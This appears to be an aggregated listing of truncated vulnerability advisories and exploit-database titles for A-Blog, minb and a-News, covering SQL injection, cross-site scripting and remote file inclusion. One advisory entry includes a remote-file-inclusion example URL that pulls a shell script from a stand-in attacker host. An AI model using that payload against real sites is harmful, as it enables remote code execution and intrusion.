CVE-2010-4917

SQL injection vulnerability in sources/search.php in A-Blog 2.0 allows remote attackers to execute arbitrary SQL commands via the words parameter...

CVE-2010-4917

The CVE-2010-4917 issue affects A-Blog 2.0 (A-Blog Simple Blogging System) via the sources/search.php endpoint, where the words parameter is vulnerable to SQL injection due to insufficient input sanitization. Multiple sources (NVD entry and OpenVAS plugins) confirm a remote SQLi that could allow ...

A-Blog 'sources/search.php' SQL Injection Vulnerability

A-Blog Simple Blogging System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent...

A-Blog 2.0 - sourcessearch.php SQL Injection

A-Blog 2.0 - sourcessearch.php SQL Injection !/usr/bin/python Exploit Title: A-Blog v2.0 sources/search.php SQL Injection Exploit Date : 05 September 2010 Author : Ptrace Security Gianni Gnesa gnix Contact : researchatptrace-securitydotcom Software Link: http://sourceforge.net/projects/a-blog/...

A-Blog v2.0 (sources/search.php) SQL Injection Exploit

Exploit for python platform in category web applications ====================================================== A-Blog v2.0 sources/search.php SQL Injection Exploit ====================================================== !/usr/bin/python Exploit Title: A-Blog v2.0 sources/search.php SQL Injection...

A-Blog 2.0 - '/sources/search.php' SQL Injection

!/usr/bin/python Exploit Title: A-Blog v2.0 sources/search.php SQL Injection Exploit Date : 05 September 2010 Author : Ptrace Security Gianni Gnesa gnix Contact : researchatptrace-securitydotcom Software Link: http://sourceforge.net/projects/a-blog/ Version : 2.0 Tested on : EasyPHP 5.3.1.0 for...

A-Blog menu.php navigation_start Parameter Remote File Inclusion

CVE ID: 2006-5092 see also: NVD Bugtraq ID: 20230 有一个安全漏洞可能允许远程攻击者执行任意命令。这个问题是由于menu.php脚本没有正确消毒用户输入提供给'navigationstart'变量。这可能允许攻击者包括从远程主机包含将由脆弱的脚本执行任意命令文件。 A-Blog 暂无 http://target/ablogdir/navigation/menu.php?navigationstart=http://attacker/shell.php?...

CVE-2008-7005

include/modules/top/1-randomquote.php in Minb Is Not a Blog minb 0.1.0 allows remote attackers to execute arbitrary PHP code via the quotestoedit parameter. NOTE: this issue has been reported as an unrestricted file upload by some sources, but that is a potential consequence of code execution...

CVE-2008-7005

include/modules/top/1-randomquote.php in Minb Is Not a Blog minb 0.1.0 allows remote attackers to execute arbitrary PHP code via the quotestoedit parameter. NOTE: this issue has been reported as an unrestricted file upload by some sources, but that is a potential consequence of code execution...

CVE-2008-7005

Minb Is Not a Blog (minb) 0.1.0 is affected by a PHP code-execution flaw in include/modules/top/1-random_quote.php, exploitable via the quotes_to_edit parameter. Remote attackers can run arbitrary PHP code. Some sources note unrestricted file upload as a potential consequence, but the direct issu...

a-News from Appleple vulnerable to cross-site scripting

Overview a-News from Appleple contains a cross-site scripting vulnerability. a-News, a web log system from Appleple, contains a cross-site scripting vulnerability. Note that future releases and maintenance of a-News ended on May 14, 2009. The developer recommends users who wish to continue using ...

JVN#42927215 a-News from Appleple vulnerable to cross-site scripting

a-News, a web log system from Appleple, contains a cross-site scripting vulnerability. Note that future releases and maintenance of a-News ended on May 14, 2009. The developer recommends users who wish to continue using a web log system to use a-blog. Impact An arbitrary script may be executed on...

a-blog cross-site scripting vulnerability

Overview a-blog, a server-based blog tool from appleple, Inc. contains a cross-site scripting vulnerability. Impact An arbitrary script may be executed on the user's web browser. If session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution None...

CVE-2008-0677

SQL injection vulnerability in blog.php in A-Blog 2 allows remote attackers to execute arbitrary SQL commands via the id parameter in a news action...

Cross site scripting

Cross-site scripting XSS vulnerability in search.php in A-Blog 2 allows remote attackers to inject arbitrary web script or HTML via the words parameter...

Sql injection

SQL injection vulnerability in blog.php in A-Blog 2 allows remote attackers to execute arbitrary SQL commands via the id parameter in a news action...

CVE-2008-0676

Cross-site scripting XSS vulnerability in search.php in A-Blog 2 allows remote attackers to inject arbitrary web script or HTML via the words parameter...

CVE-2008-0676

Cross-site scripting XSS vulnerability in search.php in A-Blog 2 allows remote attackers to inject arbitrary web script or HTML via the words parameter...

CVE-2008-0677

SQL injection vulnerability in blog.php in A-Blog 2 allows remote attackers to execute arbitrary SQL commands via the id parameter in a news action...

CVE-2008-0677

CVE-2008-0677 concerns an SQL injection in blog.php of A-Blog 2, triggered via the id parameter in a news action. The underlying issue is improper input handling in a PHP-based blog component, allowing an attacker to craft the id value to modify the SQL query executed by the application. Impact, ...